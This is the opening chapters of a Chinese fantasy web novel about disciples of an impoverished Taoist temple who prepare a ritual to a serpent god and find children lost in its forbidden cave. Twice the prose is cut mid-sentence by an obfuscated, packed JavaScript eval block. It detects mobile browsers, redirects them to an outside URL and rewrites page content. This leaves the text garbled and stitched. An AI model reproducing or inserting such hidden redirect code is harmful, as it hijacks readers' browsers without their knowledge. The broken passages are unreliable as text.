《问道天外天》 1. 祭祀 一 回想起来,那天确实有些异乎寻常。 黑沉沉的天像撕开了一道口子,赤红的光从云层中透出来,就像一只窥视的眼睛,冷冰冰地俯瞰着大地上的众生。 可惜当时段星河没有注意到这些,只是坐着牛车缓缓地离开了青岩山,任由那只小手伸向了黑暗中。 逍遥观伫立在巴蜀的青岩山中,已经有几百年的历史了。山门风吹日晒的久了,门前的石牌坊都裂了纹,石鼓上长满了青苔,透出一股沧桑的气息。 天色灰蒙蒙的,段星河站在演武场上,带领着一众师弟妹练剑。一群十三四岁的少年人穿着蓝色的道袍,站成一个方阵,一招一式地练习。 “起式并点右弓削,提劈左拦左虚撩,胳膊打直了别抖——” 段星河穿着一身墨蓝色的衣袍,身材高大结实,模样俊朗,目光沉静有神。他今年十九岁,是逍遥观的长徒。师父云游在外,门派里的事务有师娘打理,其他方面就由他这个大师兄代师传艺。 每天上完早课,他都要带师弟妹们练一个时辰的剑,傍晚再带大家上一个时辰晚课。晨钟暮鼓的,一天就这么过去了。 师弟妹们练得很认真,段星河很满意。练完了最后一式,他收了剑道:“各人多加练习,休息吧。” 有人留在场上练剑,有人打算去吃午饭。伏顺一把搂住了赵大海的肩膀,道:“干嘛去?” 赵大海道:“天气好,把鞋洗洗晒了。” 伏顺低头看了他脚一眼,说:“怎么又弄脏了,师娘亲手给咱们纳的鞋底儿,你就不能仔细点穿?” 赵大海有点委屈,说:“我那是下地干活甩的泥点子,牛拉不动,我……我一脚踩泥巴坑里了。” 赵大海长得人高马大的,今年二十多了,因为入门晚,还要喊段星河一声大师兄。他性情憨厚老实,有点口吃的毛病,但干活很利索,逍遥观的菜园子归他管,地都是他带人种的。 伏顺人生的干瘦,皮肤黝黑,一双眼睛动来动去的,透着股子精明劲儿。他跟赵大海一个话多,一个话少,天天焦不离孟,正好互补。 两个人说着话走过来,伏顺道:“大师兄,你干嘛去?” 段星河道:“早上师娘说有事找我,我去一趟。” 赵大海道:“有活要干吗,我……我们给你帮忙。” 伏顺本来还想偷懒,没想到赵大海这憨货直接把自己拖进去了。他搔了搔头,只好也一起去了。 后院外生着一片翠竹,门边有一对木楹联,黑底金字褪了色,刻的是葳蕤繁祉,延彼遐龄;椿萱并茂,棠棣同馨。三人走进院子,见师娘坐在一棵大杏树下面,周围簇拥着一群十一二岁的孩子。她穿着一身白色的衣裙,声音温柔,正在给孩子们讲故事。 “几百年前,外头连年天灾,又有战乱。兄弟七个人便躲进了青岩山,他们向此处的神明祈祷,如果让他们在山里生存下来,他们就会好好祭祀山神,永远做他忠诚的子民。山神慷慨地满足了他们,让老大获得了强大的力量和统帅力;老二拥有绝伦的智慧,有跟神对话的能力;老三机灵狡猾,天下没有他偷不到的东西;老四有培育作物和农畜的能力;老五长着一副铁石心肠,是最忠诚的战士;老幺见多识广,认识许多能人异士……” 浓密的树荫笼罩着他们,师娘三十多岁年纪,容貌秀丽。可仔细看来,她周围的孩子都生的歪瓜裂枣的,温馨的情形陡然变得奇异起来,仿佛一个漩涡扭曲了面前的一切——有的孩子独眼,有的缺一条胳膊,有的生着六指,有的傻乎乎地发着呆。唯一一个正常的小姑娘坐在人群中,穿着粉红色的衣裙,脑袋上扎着两个小揪揪,举起手来说:“娘,你没说老六,老六怎么样了?” 伏顺挠着脖子后头的泥,懒洋洋地接口道:“老六会隐身,没事就玩穿墙术。不知道卡在哪个墙里,半截身子在里头,屁股卡在外头,等着人去救呢。” 小孩儿们想象着那个情形,觉得十分滑稽,轰地一声笑了。大孩子们已经听过这个故事很多遍了,后山就有虺神洞,半真半假的,大家也不怎么相信。这是给门派里的小孩子开蒙的故事,目的就是让他们敬畏神灵。 段星河道:“师娘说话,你打什么岔。” 赵大海道:“就是,就你话多。” 伏顺拍了自己的嘴巴一下,道:“我错了,我不多嘴了。” 师娘轻轻一笑,道:“七兄弟凭借着虺神赐予的力量战胜了恶劣的环境,过上了美好的生活。老大修建了逍遥观,就是咱们的祖师爷。虺神洞里供奉的就是那位神仙,那边是咱们门派的禁地,不要靠近。” 她讲完了故事,拍了一下手说:“中午了,去吃饭吧。” 孩子们便起身向师娘行礼,三五成群地往大厨房那边走去,一边叽叽喳喳地讨论着刚才的故事。段星河过去把地上的蒲团收起来,抱着一大摞,跟师娘往回走去。师娘头上挽着个髻,戴着一支祥云形的桃木簪子。时常有孩子环绕着她,她又要做很多缝补的活计,没有过多的心思打扮自己。她道:“再过三日,天心观的人就要来祭祖了,祭司那边准备的怎么样?” 段星河道:“二师弟这几天在焚香斋戒,已经闭关十天了。” “辛苦他了,”师娘温声道,“等过了这阵子,让云儿好好休息一下。” 段星河点了点头,师娘从梳妆匣里取出一根金簪子,交给他道:“前阵子我在山下订的衣裳和鞋子应该做好了,你带人取回来。你把这簪子当了,把红绸、美酒,猪牛羊三牲置办齐备了,还缺什么也一并买回来。” 簪子沉甸甸的,段星河的目光微动,一时间没接。师娘道:“怎么了?” 段星河道:“这是师娘的嫁妆么?” 师娘知道这孩子懂事,不想让自己破费。但门派里现在需要钱,只能先应急。她道:“我还有别的首饰,没事的。” 段星河没什么办法,接过了簪子道:“弟子下午就去。” 他出了门,另外两人等着他。伏顺道:“大师兄,师娘让干什么?” 段星河把簪子揣在了怀里,道:“先去吃饭,等会儿跟我上集,买东西去。” 下午赵大海赶着大车,前头套着一头老黄牛,车上载着伏顺和段星河,慢悠悠地出了山门。 一阵大风刮来,把他们的头发吹得烈烈飞舞,沙子和石头噼里啪啦地飞了起来。伏顺拉起兜帽裹着头,道:“风这么大,该不会要下雨吧?” 赵大海抬头看了一眼天,太阳隐藏在一层层云山里,透出一点阴沉的红光。 嗡——周围的景色仿佛扭曲了一下。段星河抬眼向身后望去,没有任何异常,刚才的一瞬间好像出现了幻觉。他摇了摇头,怀疑自己最近太累了。 赵大海有点犹豫,道:“大师兄,走么?” 祭祀马上就要到了,得在客人来之前把东西准备好。段星河打起精神道:“去吧,早去早回。” 赵大海便啪地一挥鞭子,驾着牛车向山下走去。 逍遥观位于巴蜀之中,在修真界中有些历史,却又无足轻重。他们的祖师爷向虺神祈祷,获得了一身神力。作为代价,其子孙要世代镇守此处,不能忘本。 此处没什么香火,日子过的十分清贫,大家一门心思立志修仙。人越穷,便越视金钱如粪土。二十年前,二师叔实在过不下去了,一咬牙一跺脚,出去做了个游方道士,帮人找失物、算命、捉鬼降妖,千辛万苦攒了些钱和口碑,后来自己立了个道观,叫做天心观。 二师叔熬出了头,越发觉得留守在青岩山里的穷亲戚面目可憎。逢年过节,总要带儿子和门下弟子回来瞧瞧他们,嘴上说要帮衬同宗同源的好兄弟,主要还是为了回来气他们的。 逍遥观十年一次祭祀虺神,是个极重要的大日子。天心观的人说要回来祭祖,门派里的人都在准备。师娘提前去山下给弟子们定了新衣裳和鞋子,就是不想让自家的孩子被外人看轻了。 道观里的人多,没攒下几个钱,师娘给的金簪是自己带来的嫁妆。段星河叹了口气,师父要是在的话,也不至于这样。可他半年前就消失了,连只言片语都没留下,也不知道去了什么地方。 师父名叫魏清风,四十过半年纪,平日里不怎么说话,一心想着修道成仙。他炼药的本事十分高明,每过一阵子都会出去云游一段时间,寻找天材地宝,出去一趟就够养活观里人两三年的。因此山中的日子虽然清贫,大家也不至于担心过不下去。这次魏清风离开,大家也觉得跟从前一样,师父应该又出去卖药挣钱了。 师娘名叫乔月柔,是山下教书先生的女儿,她虽然不是修行之人,但是知书达理,对孩子们很有耐心,会给弟子们补衣裳、做鞋子,像个慈母一样,大家都很喜欢她。 段星河把簪子掏出来,拿在手里看了一会儿。簪子上刻着祥云花纹,不是足金,但也值不少钱。他叹了口气,觉得当掉太可惜了。师娘平时都舍不得戴这根簪子,可家里穷,又需要钱招待客人,实在没有办法。 伏顺躺在大车上,头枕着臂弯,看着灰色的天空道:“我觉得吧……师父有点对不起师娘。师娘长得那么好看,还倒贴嫁妆帮他养这么多人。他倒好,一甩手就跑了,连去哪儿都不说一声。” 段星河靠在车边,道:“背后蛐蛐师父,大逆不道。” 伏顺道:“我说的是实话嘛。” 段星河扬了扬眉头,其实心里也这么觉得。师父生得相貌平平,年纪还比师娘大十多岁。虽然这么说有点不恭敬,但在这些孩子心里,师娘比他好太多了。 伏顺好奇道:“大师兄,师父是怎么娶到师娘的,你知道么?” 段星河是个孤儿,原本是师娘从外头捡回来的,也不太清楚。他道:“好像是师娘的父亲得了一场大病,师父帮忙治好了。师娘感激他,就嫁给他了。” 伏顺喔了一声,觉得一朵鲜花插在了牛粪上。师娘的眉宇间常带着一点忧郁的神色,仿佛被冷落了一般。后来她生了个女儿,叫小雨。小师妹活泼可爱,模样像师娘多一些,大家都很宠她。师娘把心思放在了孩子身上,笑容便比从前多起来了。 过年的时候,师娘在讲经堂里写春联、剪窗花。大家围着她都很高兴,但是一见到师父来了,就都老实拘谨起来了。 段星河把簪子揣回了怀里,心里想:“其实师父失踪了也不是件坏事。像现在这样安安静静的,日子过得也挺好。” 老黄牛拖着车,慢吞吞地来到附近的镇子里。街上人来人往的,比山上热闹多了。段星河找了间当铺,把金簪当了二十五两银子。赵大海驾着车来到裁缝店跟前,伙计们抱出了厚厚的好几沓衣裳,热情道:“好几天前就做好了,就等着小道爷你来取呢!” 段星河和伏顺把做好的道袍和布鞋搬到大车上,又买了几匹大红棉布,放进两个大竹筐里。赵大海道:“大师兄,再去哪儿?” 段星河道:“去骡马市吧。” 赵大海提起鞭子抽了一下地,赶着老黄牛往前走去。他道:“一定要用大三牲吗,小三牲行不行?” 伏顺道:“用鸡鸭鹅祭祀也太掉价了吧,天心观的人本来就看不起咱们,用小三牲他们可不是要笑话咱们一辈子?” 赵大海道:“可是牛很贵啊。” 伏顺道:“这不是有现成的牛么,一把年纪了,杀了祭祀不是正好么。” 赵大海就是心疼这头老黄牛,又耕地又拉车的,舍不得杀了它。他道:“那不是还有步家寨子里的人么,让他们出牲口行不行?” 段星河也觉得花销太大了,叹了口气道:“历来都是逍遥观出三牲的,寨子里出别的供物。祖上流传下来的规矩,谁也改不了。” 一行人来到了骡马市上,太阳的热气一蒸,到处弥漫着牲畜的骚味。来赶集的村民拍一拍路边的牲口,又捏开嘴看看牙齿,看到满意的便把手跟老板握在一起,比比划划地讨价还价。 家里养了几十头羊,祭祀的时候直接抓一头就行了。段星河买了两只大白鹅,一头肥猪,让人用绳子捆了放在大车上。伏顺盘着腿看着笼子里嚎叫的猪,道:“你消停点吧,还不到上供的时候呢。” 忙完了别的,段星河摸了摸老黄牛的脊背,也不忍心杀它,想着要不然就卖了它,买别人的牛回去。家里还有一匹瘦马,拉车够用了,走的还比它快些。 段星河解下了它套着车的挽具,牵着它往前走。老黄牛走了两步,忽然意识到他要干什么,眨了眨眼,眼睛里流下了一大滴眼泪。 养了十多年的牛,跟人待久了,什么都明白。赵大海像要卖了自己似的难受,结结巴巴地恳求道:“大师兄,别、别卖它了,它还能耕田的!” 段星河叹了口气,抬眼四下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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对于观里的人来说,一提起大师兄,首先想起的就是两个字,可靠。道观里什么东西缺了,他去买;什么东西坏了,他去修;谁功课学不会了,他去教;外头有人来欺负他们了,他带着几个兄弟把人打回去。总而言之,段星河就是逍遥观一块结结实实的大青砖,哪里需要往哪搬。因为师父一年到头云游在外,迫使他不得不撑起这个家,成为了众人心中的依靠。 逍遥观的弟子们有个共识,那就是师娘天下第一好,大师兄天下第二好,有他在就什么也不用怕。就连隔壁步家寨子的族长都抽着旱烟说,魏清风捡了这个徒弟,从此什么都不用操心了,实在是积了八辈子的大德。 段星河把道袍和鞋子发了一遍,一共三十七个人,还有四套没发出去。伏顺拿着名单跟着他,发一套打一个勾。段星河说:“还有谁没拿到?” 伏顺道:“还有小师妹、小石头、小泥鳅和小傻子没拿到。” 段星河道:“别叫小傻子,人家叫李小栓。” 伏顺道:“啊对,小栓子。他应该在屋里待着呢吧,刚才一直没开门。” 他说着大步流星地走到弟子房尽头,喊了几声小师弟,没人理他。他推开了门,见一个十二三岁的男孩儿蹲在墙角,正盯着一个木箱发呆。箱子里盛着些沙子和泥土,里头还有些黑乎乎的蚂蚁爬来爬去,十分忙碌。 段星河走过去,低头道:“你在看什么?” 小栓子道:“蚂蚁。” 段星河看了片刻,发现蚂蚁筑的巢还挺复杂的。他道:“等会儿再看,师兄给你带新衣裳回来了,试试合适么。” 小栓子的目光依依不舍地离开了蚁箱,抖开衣裳开始穿,动作慢吞吞的,衣裳穿反了也意识不到。段星河叹了口气,把他的外袍脱下来,重新给他穿正了。墨蓝色的道袍很显精神,比原来洗得褪色的旧衣裳好看多了。 小栓子手里拿着新布鞋,看不出左右脚来,一脸困惑。伏顺觉得这又当爹又当妈的,太费劲了,道:“他就是个小傻子,哥你别管他了。” 小栓子瘪了瘪嘴,弯下腰开始穿鞋,试图证明自己不傻。两个人看着他把左鞋穿到了右脚上,伏顺道:“得劲么?” 小栓子跺了跺脚,愣愣地道:“得劲。” 伏顺道:“得劲个屁,脱下来重穿!” 小栓子不情愿地脱下了鞋,这回总算穿对了。他抽了一下鼻子,似乎有点难过,眼睛又去张望他的蚂蚁。段星河看他要哭了,从口袋里摸出一块饴糖,递给他道:“你养的蚂蚁你都认得么?” 一提起蚂蚁,小栓子来了精神,指着一只道:“认得,我最喜欢它。” 那只蚂蚁黑乎乎的,个头也不大。段星河感觉跟其它的蚂蚁没什么区别,道:“为什么喜欢这只?” 小栓子道:“它总是一个人在角落里。” 伏顺道:“跟你一样。” 小栓子点头,说:“别人都一群在一起,它总是一个人,我就想对它好一点。” 他把饴糖吮了吮,咬下一小块来,放在了单独的那只蚂蚁面前,又沉浸在了自己的世界里。他虽然只是个小傻子,在一只小小的蝼蚁跟前,却又成了强大的神。或许就是因为这个,他才喜欢看蚂蚁吧。 段星河摇了摇头,站起身走了。 师父最近两年收了很多这样的孩子,有瘸子、呆子、还有独眼,身上或多或少都有些缺陷。别人收徒弟都要资质高悟性强的,他们师父早期收徒还讲究,最近却完全不挑了,简直把逍遥观当成了收容所,捡回来就一股脑都扔给师娘,不知道他想干什么。 两个人出了门,伏顺担忧道:“天心观的人就要来了,那帮人那么尖酸刻薄,见咱们养了这么多天残地缺,还不得笑话咱们连个好徒弟都收不到,只能捡破烂?” 段星河觉得他们岂止会笑话逍遥观,说不定还会欺负这帮小孩儿。他道:“那就让赵大海在这边看着,凡是不健全的,那几天就让他们暂时不要出去了,在屋里抄抄经、打打坐。” 他看着手里没发完的衣裳,道:“还有三个人,跑哪去了?” 这时候就见赵大海从外头跑了过来,慌张道:“不好了,大师兄,小师妹不见了!” 小师妹名叫魏小雨,是师父和师娘的独苗,今年才十一岁。段星河有些莫名其妙,道:“好端端的,怎么会不见了?” 赵大海道:“晚上吃饭的时候没见她,屋里也没人。师娘让去找找,有人看见她白天和小石头、小泥鳅去了后山方向,好像是去那边玩了。” 伏顺一诧,道:“那边那么荒,有什么好玩的?” 赵大海搔了搔头,道:“可能是听了虺神的故事,好奇吧?” 虺神洞就在后山,是门派的禁地,祭祀期间更不能擅闯。趁着天还没黑透,得赶紧把人找回来。 段星河的神色凝重起来,道:“你们两个,跟我去后山看看。” 2. 祭祀 二 逍遥观位于青岩山西边,出了道观往东不远,有个上千人规模的步家寨子,住的都是彝族人。寨子的北部有个祭坛,是寨民向神明祈愿的地方。祭坛的西边,便是虺神洞。 据说虺神就沉睡在此处,已经有三百年了。再过几天就要祭祀了,小师妹这时候跑到这里来,实在不应该。段星河手里提着一盏风灯,赵大海和伏顺跟在他身后,一起来到了祭坛附近。 天渐渐黑下来了,凤凰树和凤尾竹错落生长着。萤火虫放出绿色的光芒,在草丛中飞舞。步家寨子里遍布着土掌房,最北边有个幽静的院落,正面是一间古朴庄严的大殿,朱红的窗户廊柱,黑色的门匾上用金漆写着星垂殿三个大字。每逢祭祀,祭司都要在这里焚香斋戒,外人不得擅自打扰。 伏顺道:“会不会在里面?” 祭司这会儿应该已经睡下了。段星河等人蹑手蹑脚地潜进了院子里,只要他们赶紧把人找到,应该不会惊动他。 周围阴沉沉的,草虫发出凄切的鸣声,滴铃铃、滴铃铃。 伏顺有点紧张,生怕落了单被鬼抓走,紧赶两步走在大师兄和赵大海之间。据说青岩山中有妖怪出没,还是得小心为上。段星河心里也有点打鼓,默默祷告道:“祖师爷在上,弟子并非有意冒犯,我们找到了人马上就走。” 几个人在庭院里转了一圈,赵大海小声道:“小师妹,你在吗——” 没人回应他们,段星河道:“再往前走走看吧。” 绕过了星垂殿,从院子后门出去。苍白的月光洒下来,一个白色岩石垒成的圆形祭坛展现在众人面前,有十丈长宽。上头摆着个青铜的大鼎,足足有大厨房的四个锅台那么大。赵大海怕小师妹躲在里面,专门过去伸头瞧了瞧,失望地说:“没有。” “你瘆不瘆人啊,”伏顺道,“正常人怎么会躲在鼎里啊,想被煮了么?” 赵大海道:“这鼎这么大,万一她觉得好玩呢。” 伏顺怕黑,声音忍不住大了一点,道:“这有什么好玩的,这就是炖牲口的大锅。” 赵大海也有些不安,道:“你小点声吧。最近是大日子,祭坛这边除了祭司之外,别人都不能靠近。万一惊扰了神祇,可能会……” 伏顺咽了口唾沫,小声道:“会怎么样?” 一人幽幽道:“可能会被当成祭品带走。” 大家吓了一跳,回头望去,却见一个穿着白色衣袍的少年站在他们身后。那人的头发用一条暗红色的发带束着,结了个马尾,几缕碎发垂在脸边。他生着一双瑞凤眼,目光清澈,容貌十分俊秀。 幽红的灯光照在他脸上,他眼神似笑非笑的,却是故意吓唬他们。伏顺捂着胸口道:“哎呀二师兄,你走路怎么没声的啊,吓死我了!” 此人名叫步云邪,今年十八岁,是逍遥观的二弟子,也是步家寨子新一任的祭司。寨子里的祭司历来由女子担任,上一任祭司是步云邪的母亲,一脉单传了九代,到了他这一代却是个男孩儿。他娘身体不好,只生了他一个独苗,便让他担当起了大任。 步云邪从小看母亲主持祭祀,也一直为此练习准备。这是他头一回主持祭祀,但看起来一点也不紧张,还有心情跟他们开玩笑。 那几个人本来不想惊动他的,但既然被发现了,就没必要躲躲藏藏的了。步云邪道:“三更半夜的,你们来干什么?” 段星河一见他,目光都柔和了不少,道:“小师妹丢了,听说她来这边了,我们过来找找。” 步云邪心不在焉道:“我还以为好几天没见,你们想我了呢……哎,小师妹丢了?” 段星河有点担忧,道:“我们找了一圈也不见人,你白天见过她么?” 步云邪道:“没见过,她应该没来祭坛这边。” 段星河的神色严肃起来,道:“那她可能真的去虺神洞了。” 几个人都有些紧张,虺神洞是上古之神沉睡的地方,闯进去真的非同小可。师父说虺神强大祥和,十分大度。但他们也听外人说过,虺神的脾气阴沉古怪,常以暴虐的方式来征服质疑它的人。 小孩子不懂事,乱走乱跑的,捅了娄子还得家里人去收拾。他道:“没办法,去那边看看吧。” 伏顺有点害怕,小声道:“会不会冒犯神灵啊?” 段星河也不勉强他,淡淡道:“害怕你就先回去吧。” 他说着提起风灯照亮,走在前头。赵大海大步跟了上去,步云邪随手拍了一下伏顺的肩膀,和段星河一起往山洞走去。伏顺一个人被扔在祭坛上,周围黑漆漆的,他心里更怕了。他紧赶几步追上了那几个人,道:“大师兄,等等我,我也去!” 出了祭坛,往西南不远处便是虺神洞。段星河走了进去,昏黄的灯光照亮了山洞。洞里弥漫着尘土味和莫名的腥味,钟乳石滴答着水,四周都是黑色的岩石。众人不敢放声大喊,不管传说是真的还是假的,还是敬畏一些的好。 山洞的尽头有个硕大的祭祀台,举行完祭祀,便把三牲的头供在这里。伏顺从台子上捡起了一块骨头,随手抛了几下。骨头风化太久了,一把玩就碎了半边。步云邪淡淡道:“这里的东西别乱动,小心惹上麻烦。” 伏顺道:“一块骨头而已,不至于吧。” 步云邪道:“这里以前还祭祀人牲,你怎么知道这是人骨还是牲口的骨头?” 他这话刚说出来,伏顺立刻烫手似的把手里的半块骨头扔了。 台子后面有些壁画,是用白云母、孔雀石、雄黄和赭石等矿物上的色,画的是祖先开垦青岩山的情形。一群人在田里耕种,一只巨大的眼睛穿过云层,注视着下面的人。有的壁画上许多人在大雨里举起双手,感谢天降甘霖。有的画着人们捕捉了许多猎物,围着篝火起舞。 段星河也是头一次进到这么里头来,举起风灯看着最上面的壁画,一条巨型的大蛇盘踞在云层之中,这就是他们供奉的虺神。 绘着大蛇的岩石裂了一道缝,不住有小石子崩落下来。段星河注视着壁画上的大蛇,它浑身漆黑,一双眼睛通红,身上的颜色已经没有昔日那么鲜艳了,但段星河觉得它仿佛有生命一般,一直注视着自己。 几颗小石子落在他面前,段星河鬼使神差地捡了起来。上头染着青金石的颜料,正是涂在大蛇头上的一抹蓝色的装饰。 步云邪从旁边走过来,道:“看什么呢?” 段星河随手把石子扔了,道:“没什么。” 白云母涂成的云层之下,有一行金色的字,好像是梵文。伏顺探过头来,辨认道:“唵……呔谛剋……啊咧,呸呸呸,这怎么念?” 那音节很怪,他舌头都快抽筋了,还是念不出来,好像有股力量在阻碍他似的。 段星河曾经在师父的书房里看到过这段咒文,知道虺神洞里的这段文字乃是禁咒,大意是献上生命换取至高无上的力量。当年开荒的几个兄弟便是用了这个咒语召唤了虺神,获得了神力。大家都把这当成一个传说来听,没人相信,当然也没有人敢拿命尝试。 步云邪道:“这是召唤虺神的咒语,是不可名状的禁咒,要用血和心魂跟神连接,念不出来的。” 段星河方才只看了一眼,胸口就有些发闷。他不敢再动心念,道:“别看了,赶紧找人吧。” 众人便分散开来,低声呼唤着:“小师妹——你在哪儿——” “小雨——别躲了,师娘喊你回家吃饭。” 山洞中有好几个分叉口,其他几人钻进了相连的洞穴,忽然听见赵大海发出了一声惊呼。 “我的妈呀,在这里!” 几个人循着声音找过去,只见魏小雨昏倒在地上,小泥鳅和小石头倒在离她不远的地方。伏顺拍了拍她的脸颊,道:“我的小祖宗,你怎么在这里睡着了,让我们好找!” 魏小雨哼了一声,眼皮短暂地掀起来,无焦距地看了他们一眼,喃喃道:“大师兄……” 段星河道:“受伤了么?” 魏小雨摇了摇头,想说什么,但意识昏沉,很快又睡着了。 她看起来没什么事,应该就是吓着了。人能找到就好,段星河松了口气,把她背了起来。小雨个子小小的,也不怎么沉,赵大海过去扛起了小泥鳅。伏顺和步云邪互相看了一眼,步公子坦然地揣着手,没有要动的意思。段星河发话道:“祭司斋戒了好几天了,别坏他修行,顺子背着。” 伏顺只好背起了小石头,一群人往山洞外走去。 步云邪提着灯在前面给大家照亮,经过祭祀台,壁画中大蛇头上的裂口依然往下崩落着细沙。灯光把几人的影子投在石壁上,摇摇晃晃的。他们的脚步声沙沙作响,一颗小小的石头崩溅起来,悄然落进了段星河的鞋子里。 几个人背着师弟妹回了逍遥观,院子里亮着灯火,师娘在屋里坐立不安的,生怕女儿出意外。段星河扬声道:“师娘,我们把人找回来了!” 乔月柔连忙快步走了出来,见三个熊孩子趴在他们师兄背上,不但毫发无伤,而且还睡得挺踏实。乔月柔松了口气,道:“在哪儿找到的?” 段星河道:“在后山虺神洞里,我们去的时候,他们几个在洞里睡着了。” 魏小雨听见他们说话的声音,迷迷糊糊地睁开了眼,段星河把她放在了地上。师娘有点生气,道:“你们几个跑到虺神洞去干什么,那边是禁地不知道么?” 魏小雨还有点恍惚,想了一会儿道:“白天娘说虺神洞里有神仙,小石头和小泥鳅说都是骗人的。我说肯定有神,要不然大家为什么兴师动众的祭祀。” 段星河道:“然后呢?” 魏小雨道:“然后我们就去虺神洞了,里头黑乎乎的,我们走了一阵子害怕了想回去……但不知道怎么回事,走着走着觉得特别困,就睡着了。” 众人互相看了一眼,山洞里长期不通风,大约是憋昏了。幸亏他们去的及时,要不然这几个小孩儿都没命了。师娘还有些心有余悸,重重地拍了女儿的背一记,斥责道:“这么多人摸着黑去找你们,给大家添了多少麻烦,给你师兄们道歉!” 魏小雨搔了搔头,道:“对不起,我以后不乱跑了。” 小石头和小泥鳅还在睡,但摸脉搏没什么大碍。师娘把他们留在身边,打算照看他们一宿。 众人各自散了,段星河回到住处,伸了个懒腰。忙活了一天,总算能休息一会儿了。他屋里放着一张榆木的架子床,一个大衣橱和一副书桌椅。旁边的书架上摆着些修炼的书籍,还有一个装着凿子锉子的布袋。墙角放着一个大竹筐,筐里盛着个牛皮缝的鞠球,还有一颗蔫了的大白菜。窗前挂着个手掌大的小竹笼,里头有一只绿油油的蝈蝈。 “唧唧唧唧唧唧——” 深夜里虫鸣起来,显得更加幽静。他掰了一片白菜叶从缝隙中塞进去,蝈蝈吃了几口,擦着翅膀发出柔和的声音。 前阵子步云邪说自己跟小姨学着炼了个蛊,要给他瞧瞧。两人站在凤凰树浓密的树荫下,远处的溪水哗哗流淌。他把手背在身后,让段星河闭上眼,把手伸出来。段星河噙着一抹笑,手心朝上,踏踏实实地等着。步云邪便把一个竹编的小笼子放在了他手里。 “唧唧唧唧唧唧——” 段星河还没睁眼,蝈蝈就叫起来了,声音又脆又响。步云邪有点遗憾,道:“本来想给你个惊喜的。虫是小笙逮的,笼子是我编的。” 蝈蝈长得很壮实,笼子也编的十分精致。段星河摸了摸,感叹道:“你手挺巧的。” “喜欢就养着吧,”步云邪道,“我小姨只会做蜂王蛊,你不知道么?” “知道,”段星河道,“她养蜂的嘛,春天还给师娘送了好多蜂蜜。” 步云邪道:“那你还敢伸手,不怕挨蛰。” 段星河笑了,道:“你从来没坑过我,我还能不信你?” 步云邪扬起了嘴角,道:“那可不好说,我这人脾气怪得很,连我娘都不信我呢。” 他的头脑聪明,性情有些清高,但是对兄弟们一直都很好。他身为祭司,一年中大多数时间都在寨子里学巫术和医术,跟大家一起上课的时候不多。他和段星河的脾气相投,跟他走的最近,和别人反而有些疏离感。 段星河静静地看了一会儿蝈蝈,感觉脚底下硌得慌。他坐在床边脱下鞋,晃了晃,一颗拇指肚大小的石子掉了出来。 什么鬼?他捡起来一看,见上头涂着蓝色的青金石颜料,是虺神洞里的东西。段星河本想扔了,转念一想这是壁画上的东西,随便扔掉怕是不敬。反正马上就要祭祀了,他还要抬三牲去虺神洞,不如到时候再原样放回去。 他用袖子擦了擦那块石头,放进了腰包里。他躺在床上,听着蝈蝈的叫声,感觉十分舒适,不知不觉就睡着了。 大家休息了一天,隔天忙忙碌碌地准备祭祀的事。步家寨子里的人来帮忙了,带了不少瓜果、粮食、野猪肉,还有一大筐刚捕的鲜鱼。下午刘师叔就要带天心观的人来了,吃的东西得准备足了。 乔月柔在厨房和李大娘炼了一锅猪油,把鱼剁成块炸出来,准备招待客人。厨房里香味扑鼻,焦黄的炸鱼堆满了笸箩。魏小雨带着几个伙伴围着灶台,像雏鸟一样叽叽喳喳地跟在母亲身边。 “娘,好了吗。” 乔月柔笑了,道:“好了,帮我尝尝咸淡。” 她拿了几块晾凉的炸鱼,给每人发了一块。段星河从这边经过,想给师娘帮忙。师娘拿了一个大块的给他:“喏。” 鱼肉散发着香气,刚炸出来还热乎。段星河没想到自己也被当成了小孩儿,心里暖暖的,又有点不好意思。师娘在围裙上擦了擦手,道:“带她们去外面吃。等会儿你刘师叔要来了,吃完了去接他们。” 段星河答应了,带着魏小雨等人出了厨房。魏小雨一跃跳到石磨盘上,两只脚晃荡着,一会儿就把鱼吃完了。鱼肉鲜美,外头炸的很酥,咬开来还带着一点热气。其他几个孩子嗦着手指头,还有些意犹未尽。段星河道:“你们回去睡一会儿吧。” 魏小雨也挺听话,挥了挥手道:“走吧,别给大人添乱。” 她像个孩子王似的,其他孩子便跟着她一起走了。她脖领子里插着一个小小的竹风车,随着她一蹦一跳的,在风里吱呀呀地转。段星河去洗了手,转身去找了伏顺和赵大海,一起下山去了。 路边的绿荫浓郁,黏腻的空气里没有一丝风。段星河坐在一棵大梧桐树下,听着蝉声嘶鸣,汗水从额头上淌下来。夏天都要过完了,天还这么热。 伏顺猴子似的爬到了大树上,伸手搭了个凉棚,道:“都等了一个多时辰了,他们今天还来不来了?” 段星河闭着眼道:“明天就要祭祀了,今天应该会到的,再等等吧。” 伏顺在树上坐了一会儿,忽然睁大了眼,道:“哎,是不是来了?” 远处的平原上,一队人骑着马浩浩荡荡地过来了,前后将近有八十人。那些人穿着浅灰色的衣袍,都戴着道冠,带头的正是小师叔刘明涛。 当年小师叔挣了些钱,在外建了个天心观,这些年来广招门徒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13152746|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发展壮大,俨然有了一派宗师的气度。 魏清风一心专注于修仙,对别的事一概不感兴趣。任凭刘明涛怎么在自己面前炫耀,他都是一副不动如山的态度。刘明涛觉得自己已经获得了世俗的成功,过得富裕满足,可师兄的淡泊越发提醒着他,这一切不过是镜花水月,算不得永恒。 刘明涛心里对师兄也有嫉妒,恨他能耐得住贫穷。几百年后师兄得道飞升,而自己辛苦经营的一切终归会随着肉身化为尘土,实在很难说谁的追求更对一些。 一行人到了山脚下,段星河拍了拍身上的土,带着伏顺和赵大海上前行礼道:“刘师叔,师侄来迎接诸位。” 刘明涛三年前回来过一趟,几年不见,这些小孩儿都长大了。他点了点头,道:“你师父呢?” 段星河道:“师父出去云游了,明天的祭祀照常举行。” 